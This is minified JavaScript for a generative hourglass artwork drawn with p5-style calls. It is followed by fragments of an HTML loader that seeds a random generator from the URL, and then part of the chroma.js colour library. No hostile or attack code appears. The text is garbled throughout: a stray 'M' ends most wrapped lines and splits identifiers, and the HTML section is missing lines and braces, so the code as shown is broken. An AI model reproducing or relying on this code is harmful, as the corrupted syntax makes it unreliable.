map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
